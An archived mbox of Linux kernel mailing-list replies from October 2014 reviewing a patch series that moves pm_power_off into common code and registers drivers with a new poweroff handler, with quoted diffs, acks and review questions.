Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:58668 gmane.linux.kernel:1804191 gmane.linux.ports.mips.general:44271 gmane.linux.kernel.efi:4790 gmane.linux.ports.ia64:24537 gmane.linux.kernel.virtualization.lguest:1516 gmane.linux.ports.hexagon:848 gmane.linux.ports.sh.devel:39907 gmane.linux.acpi.devel:71356 gmane.linux.drivers.devicetree:93539 gmane.linux.uml.devel:14721 gmane.linux.power-management.general:50772 gmane.linux.ports.tegra:19566 gmane.linux.kernel.openipmi:2507 gmane.linux.kernel.metag:368 gmane.linux.ports.arm.kernel:362943 gmane.linux.ports.parisc:6153 gmane.linux.ports.alpha:2501 gmane.linux.ports.ppc64.devel:106025
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/58668>

On Tuesday 07 October 2014 11:01 AM, Guenter Roeck wrote:

diff --git a/arch/arc/kernel/reset.c b/arch/arc/kernel/reset.c
index 2768fa1..8a4fc47 100644
--- a/arch/arc/kernel/reset.c
+++ b/arch/arc/kernel/reset.c
@@ -26,9 +26,6 @@ void machine_restart(char *__unused)

 void machine_power_off(void)
 {
-       /* FIXME ::  power off ??? */
+       do_kernel_poweroff();
        machine_halt();
 }
-
-void (*pm_power_off) (void) = NULL;
-EXPORT_SYMBOL(pm_power_off);

Acked-by: Vineet Gupta <vgupta@synopsys.com><mailto:vgupta@synopsys.com>

Thx,
-Vineet

From - Thu Nov 08 21:10:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Catalin Marinas <catalin.marinas@arm.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.acpi.devel,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 12/44] mfd: ab8500-sysctrl: Register with kernel poweroff
 handler
Date: Thu, 9 Oct 2014 11:36:56 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20141009103656.GF17836@e104818-lin.cambridge.arm.com>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-13-git-send-email-linux@roeck-us.net>
 <20141007080048.GB25331@lee--X1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412851043 21626 80.91.229.3 (9 Oct 2014 10:37:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 10:37:23 +0000 (UTC)
Cc: "linux-m32r-ja@ml.linux-m32r.org" <linux-m32r-ja@ml.linux-m32r.org>,
 "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
 "linux-m68k@vger.kernel.org" <linux-m68k@vger.kernel.org>,
 "linux-efi@vger.kernel.org" <linux-efi@vger.kernel.org>,
 "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
 "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
 Linus Walleij <linus.walleij@linaro.org>,
 "devicetree@vger.kernel.org" <devicetree@vger.kernel.org>,
 "devel@driverdev.osuosl.org" <devel@driverdev.osuosl.org>,
 "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
 "lguest@lists.ozlabs.org" <lguest@lists.ozlabs.org>,
 "linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
 "linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
 "linux-acpi@vger.kernel.org" <linux-acpi@vger.kernel.org>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 G
To: Lee Jones <lee.jones@linaro.org>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Thu Oct 09 12:37:10 2014
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from whitealder.osuosl.org ([140.211.166.138])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1XcB5q-0003yh-Ei
	for glddd-devel@m.gmane.org; Thu, 09 Oct 2014 12:37:10 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by whitealder.osuosl.org (Postfix) with ESMTP id AC50D92422;
	Thu,  9 Oct 2014 10:37:09 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from whitealder.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id CsHJIYFhyKNN; Thu,  9 Oct 2014 10:37:09 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by whitealder.osuosl.org (Postfix) with ESMTP id 0D02192708;
	Thu,  9 Oct 2014 10:37:09 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from hemlock.osuosl.org (hemlock.osuosl.org [140.211.166.133])
 by ash.osuosl.org (Postfix) with ESMTP id 98F6C1C2393
 for <devel@linuxdriverproject.org>; Thu,  9 Oct 2014 10:37:07 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by hemlock.osuosl.org (Postfix) with ESMTP id 94A6595DBE
 for <devel@linuxdriverproject.org>; Thu,  9 Oct 2014 10:37:07 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id 1yAY3qK8DwNo for <devel@linuxdriverproject.org>;
 Thu,  9 Oct 2014 10:37:06 +0000 (UTC)
X-Greylist: delayed 00:07:42 by SQLgrey-1.7.6
Original-Received: from foss-mx-na.foss.arm.com (foss-mx-na.foss.arm.com
 [217.140.108.86])
 by hemlock.osuosl.org (Postfix) with ESMTP id D4CE295CF2
 for <devel@driverdev.osuosl.org>; Thu,  9 Oct 2014 10:37:06 +0000 (UTC)
Original-Received: from foss-smtp-na-1.foss.arm.com (unknown [10.80.61.8])
 by foss-mx-na.foss.arm.com (Postfix) with ESMTP id 06DE4136;
 Thu,  9 Oct 2014 05:37:05 -0500 (CDT)
Original-Received: from collaborate-mta1.arm.com (highbank-bc01-b06.austin.arm.com
 [10.112.81.134])
 by foss-smtp-na-1.foss.arm.com (Postfix) with ESMTP id AF48D5FAD7;
 Thu,  9 Oct 2014 05:37:02 -0500 (CDT)
Original-Received: from e104818-lin.cambridge.arm.com (e104818-lin.cambridge.arm.com
 [10.1.203.37])
 by collaborate-mta1.arm.com (Postfix) with ESMTPS id 5E09013F717;
 Thu,  9 Oct 2014 05:36:58 -0500 (CDT)
Content-Disposition: inline
In-Reply-To: <20141007080048.GB25331@lee--X1>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:58669 gmane.linux.ports.mips.general:44272 gmane.linux.ports.m68k:6280 gmane.linux.kernel.efi:4791 gmane.linux.ports.ia64:24538 gmane.linux.ports.sh.devel:39908 gmane.linux.drivers.devicetree:93540 gmane.linux.kernel.virtualization.lguest:1517 gmane.linux.ports.hexagon:849 gmane.linux.acpi.devel:71357 gmane.linux.uml.devel:14722 gmane.linux.power-management.general:50773 gmane.linux.ports.tegra:19567 gmane.linux.kernel.openipmi:2508 gmane.linux.kernel.metag:369 gmane.linux.ports.arm.kernel:362944 gmane.linux.ports.parisc:6154 gmane.linux.kernel:1804192 gmane.linux.ports.alpha:2502 gmane.linux.ports.ppc64.devel:106026
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/58669>

On Tue, Oct 07, 2014 at 09:00:48AM +0100, Lee Jones wrote:
> On Mon, 06 Oct 2014, Guenter Roeck wrote:
> > --- a/drivers/mfd/ab8500-sysctrl.c
> > +++ b/drivers/mfd/ab8500-sysctrl.c
> > @@ -6,6 +6,7 @@
> 
> [...]
> 
> > +static int ab8500_power_off(struct notifier_block *this, unsigned long unused1,
> > +			    void *unused2)
> >  {
> >  	sigset_t old;
> >  	sigset_t all;
> > @@ -34,11 +36,6 @@ static void ab8500_power_off(void)
> >  	struct power_supply *psy;
> >  	int ret;
> >  
> > -	if (sysctrl_dev == NULL) {
> > -		pr_err("%s: sysctrl not initialized\n", __func__);
> > -		return;
> > -	}
> 
> Can you explain the purpose of this change please?

I guess it's because the sysctrl_dev is already initialised when
registering the power_off handler, so there isn't a way to call the
above function with a NULL sysctrl_dev. Probably even with the original
code you didn't need this check (after some race fix in
ab8500_sysctrl_remove but races is one of the things Guenter's patches
try to address).

-- 
Catalin

From - Thu Nov 08 21:10:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pavel Machek <pavel@denx.de>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 08/44] kernel: Move pm_power_off to common code
Date: Thu, 9 Oct 2014 12:38:47 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <20141009103847.GC6787@amd>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-9-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412851151 22828 80.91.229.3 (9 Oct 2014 10:39:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 10:39:11 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
 linux-efi@vger.kernel.org, linux-ia64@vger.kernel.org,
 Steven Miao <realmz6@gmail.com>, linux-xtensa@linux-xtensa.org,
 Boris Ostrovsky <boris.ostrovsky@oracle.com>,
 Catalin Marinas <catalin.marinas@arm.com>, Will Deacon <will.deacon@arm.com>,
 David Howells <dhowells@redhat.com>, Max Filippov <jcmvbkbc@gmail.com>,
 Paul Mackerras <paulus@samba.org>, Ralf Baechle <ralf@linux-mips.org>,
 "H. Peter Anvin" <hpa@zytor.com>, Guan Xuetao <gxt@mprc.pku.edu.cn>,
 Thomas Gleixner <tglx@linutronix.de>, Lennox Wu <lennox.wu@gmail.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>, devel@driverdev.osuosl.org,
 linux-s390@vger.kernel.org, Jesper Nilsson <jesper.nilsson@axis.com>,
 lguest@lists.ozlabs.org, Russell King <linux@arm.linux.org.uk>,
 linux-c6x-dev@linux-c6x.org, Len Brown <len.brown@intel.com>,
 "David S. Miller" <davem@d
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Thu Oct 09 12:38:57 2014
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from whitealder.osuosl.org ([140.211.166.138])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1XcB7W-0004q5-QB
	for glddd-devel@m.gmane.org; Thu, 09 Oct 2014 12:38:55 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by whitealder.osuosl.org (Postfix) with ESMTP id CFF429285F;
	Thu,  9 Oct 2014 10:38:53 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from whitealder.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DGU8ltnPEHMB; Thu,  9 Oct 2014 10:38:52 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by whitealder.osuosl.org (Postfix) with ESMTP id 29BF79282D;
	Thu,  9 Oct 2014 10:38:52 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from hemlock.osuosl.org (hemlock.osuosl.org [140.211.166.133])
 by ash.osuosl.org (Postfix) with ESMTP id 4CAA81C2393
 for <devel@linuxdriverproject.org>; Thu,  9 Oct 2014 10:38:50 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by hemlock.osuosl.org (Postfix) with ESMTP id 4587795D1F
 for <devel@linuxdriverproject.org>; Thu,  9 Oct 2014 10:38:50 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id bXrqJMAPzpvw for <devel@linuxdriverproject.org>;
 Thu,  9 Oct 2014 10:38:49 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from atrey.karlin.mff.cuni.cz (atrey.karlin.mff.cuni.cz
 [195.113.26.193])
 by hemlock.osuosl.org (Postfix) with ESMTP id 3385195CF2
 for <devel@driverdev.osuosl.org>; Thu,  9 Oct 2014 10:38:49 +0000 (UTC)
Original-Received: by atrey.karlin.mff.cuni.cz (Postfix, from userid 512)
 id 4863381E5D; Thu,  9 Oct 2014 12:38:48 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1412659726-29957-9-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:58671 gmane.linux.ports.mips.general:44273 gmane.linux.kernel.efi:4792 gmane.linux.ports.ia64:24539 gmane.linux.kernel.virtualization.lguest:1518 gmane.linux.ports.hexagon:850 gmane.linux.ports.sh.devel:39909 gmane.linux.acpi.devel:71358 gmane.linux.drivers.devicetree:93541 gmane.linux.uml.devel:14723 gmane.linux.power-management.general:50774 gmane.linux.ports.tegra:19568 gmane.linux.kernel.openipmi:2509 gmane.linux.kernel.metag:370 gmane.linux.ports.arm.kernel:362945 gmane.linux.ports.parisc:6155 gmane.linux.kernel:1804193 gmane.linux.ports.alpha:2503 gmane.linux.ports.ppc64.devel:106027
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/58671>

Hi!

> @@ -184,6 +179,8 @@ machine_halt(void)
>  void
>  machine_power_off(void)
>  {
> +	do_kernel_poweroff();
> +

poweroff -> power_off for consistency.


> index c4f50a3..1da27d1 100644
> --- a/arch/blackfin/kernel/reboot.c
> +++ b/arch/blackfin/kernel/reboot.c
> @@ -106,6 +107,7 @@ void machine_halt(void)
>  __attribute__((weak))
>  void native_machine_power_off(void)
>  {
> +	do_kernel_poweroff();
>  	idle_with_irq_disabled();
>  }
>

So here we handle do_kernel_poweroff() returning,

> diff --git a/arch/cris/kernel/process.c b/arch/cris/kernel/process.c
> index b78498e..eaafad0 100644
> --- a/arch/cris/kernel/process.c
> +++ b/arch/cris/kernel/process.c
> @@ -60,6 +57,7 @@ void machine_halt(void)
>  
>  void machine_power_off(void)
>  {
> +	do_kernel_poweroff();
>  }
>


Here we don't.

> diff --git a/arch/frv/kernel/process.c b/arch/frv/kernel/process.c
> index 5d40aeb77..a673725 100644
> --- a/arch/frv/kernel/process.c
> +++ b/arch/frv/kernel/process.c
> @@ -107,6 +104,8 @@ void machine_power_off(void)
>  	gdbstub_exit(0);
>  #endif
>  
> +	do_kernel_poweroff();
> +
>  	for (;;);
>  }
>  

And here we do.

What is right?
								Pavel

-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

From - Thu Nov 08 21:10:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>
Newsgroups: gmane.linux.kernel.efi,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 32/44] arm64: psci: Register with kernel poweroff handler
Date: Thu, 9 Oct 2014 11:41:04 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20141009104104.GG17836@e104818-lin.cambridge.arm.com>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-33-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412851292 24539 80.91.229.3 (9 Oct 2014 10:41:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 10:41:32 +0000 (UTC)
Cc: "linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org" 
	<adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org>,
	"devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org" <devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org>,
	"devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org" <lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org>,
	"linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	"linux-cris-kernel-VrBV9hrLPhE@public.gmane.org" <linux-cris-kernel-VrBV9hrLPhE@public.gmane.org>,
	"linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org" <linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org>,
	"linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org" <linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org>,
	"linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"lin
To: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Original-X-From: linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Oct 09 12:41:22 2014
Return-path: <linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glke-linux-efi-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XcB9s-00062e-NS
	for glke-linux-efi-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 09 Oct 2014 12:41:21 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752461AbaJIKlT (ORCPT <rfc822;glke-linux-efi@m.gmane.org>);
	Thu, 9 Oct 2014 06:41:19 -0400
Original-Received: from foss-mx-na.foss.arm.com ([217.140.108.86]:42870 "EHLO
	foss-mx-na.foss.arm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751663AbaJIKlS (ORCPT
	<rfc822;linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Thu, 9 Oct 2014 06:41:18 -0400
Original-Received: from foss-smtp-na-1.foss.arm.com (unknown [10.80.61.8])
	by foss-mx-na.foss.arm.com (Postfix) with ESMTP id 50753265;
	Thu,  9 Oct 2014 05:41:13 -0500 (CDT)
Original-Received: from collaborate-mta1.arm.com (highbank-bc01-b06.austin.arm.com [10.112.81.134])
	by foss-smtp-na-1.foss.arm.com (Postfix) with ESMTP id CAF565FAD7;
	Thu,  9 Oct 2014 05:41:10 -0500 (CDT)
Original-Received: from e104818-lin.cambridge.arm.com (e104818-lin.cambridge.arm.com [10.1.203.37])
	by collaborate-mta1.arm.com (Postfix) with ESMTPS id AF43B13F717;
	Thu,  9 Oct 2014 05:41:06 -0500 (CDT)
Content-Disposition: inline
In-Reply-To: <1412659726-29957-33-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-efi.vger.kernel.org>
X-Mailing-List: linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.efi:4793 gmane.linux.kernel:1804195 gmane.linux.drivers.devicetree:93542 gmane.linux.kernel.virtualization.lguest:1519 gmane.linux.acpi.devel:71359 gmane.linux.ports.alpha:2504 gmane.linux.ports.hexagon:851 gmane.linux.ports.ppc64.devel:106028 gmane.linux.ports.tegra:19569 gmane.linux.kernel.openipmi:2510 gmane.linux.uml.devel:14724 gmane.linux.ports.arm.kernel:362946 gmane.linux.ports.ia64:24540 gmane.linux.ports.m68k:6281 gmane.linux.kernel.metag:371 gmane.linux.ports.mips.general:44274 gmane.linux.ports.parisc:6156 gmane.linux.power-management.general:50775 gmane.linux.ports.sh.devel:39910
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.efi/4793>

On Tue, Oct 07, 2014 at 06:28:34AM +0100, Guenter Roeck wrote:
> Register with kernel poweroff handler instead of setting pm_power_off
> directly.
> 
> Cc: Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>
> Cc: Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>
> Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
> ---
>  arch/arm64/kernel/psci.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/arch/arm64/kernel/psci.c b/arch/arm64/kernel/psci.c
> index 5539547..c1f3d09 100644
> --- a/arch/arm64/kernel/psci.c
> +++ b/arch/arm64/kernel/psci.c
> @@ -286,7 +286,7 @@ static int __init psci_0_2_init(struct device_node *np)
>  
>  	arm_pm_restart = psci_sys_reset;
>  
> -	pm_power_off = psci_sys_poweroff;
> +	register_poweroff_handler_simple(psci_sys_poweroff, 128);
>  
>  out_put_node:
>  	of_node_put(np);

Acked-by: Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>

From - Thu Nov 08 21:10:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lee Jones <lee.jones@linaro.org>
Newsgroups: gmane.linux.acpi.devel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.m68k,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 12/44] mfd: ab8500-sysctrl: Register with kernel poweroff
 handler
Date: Thu, 9 Oct 2014 11:49:27 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <20141009104927.GN20647@lee--X1>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-13-git-send-email-linux@roeck-us.net>
 <20141007080048.GB25331@lee--X1>
 <20141009103656.GF17836@e104818-lin.cambridge.arm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1412851791 30636 80.91.229.3 (9 Oct 2014 10:49:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 10:49:51 +0000 (UTC)
Cc: Guenter Roeck <linux@roeck-us.net>,
	"linux-m32r-ja@ml.linux-m32r.org" <linux-m32r-ja@ml.linux-m32r.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-efi@vger.kernel.org" <linux-efi@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	Linus Walleij <linus.walleij@linaro.org>,
	"devel@driverdev.osuosl.org" <devel@driverdev.osuosl.org>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	"lguest@lists.ozlabs.org" <lguest@lists.ozlabs.org>,
	"linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
	"linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
	"linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
	"linux-acpi@vger.kernel.org" <linux-acpi@vger.kernel.org>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	"devicetree@vger.k
To: Catalin Marinas <catalin.marinas@arm.com>
Original-X-From: linux-acpi-owner@vger.kernel.org Thu Oct 09 12:49:43 2014
Return-path: <linux-acpi-owner@vger.kernel.org>
Envelope-to: glad-acpi-devel@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-acpi-owner@vger.kernel.org>)
	id 1XcBHy-0001E2-2Z
	for glad-acpi-devel@plane.gmane.org; Thu, 09 Oct 2014 12:49:42 +0200
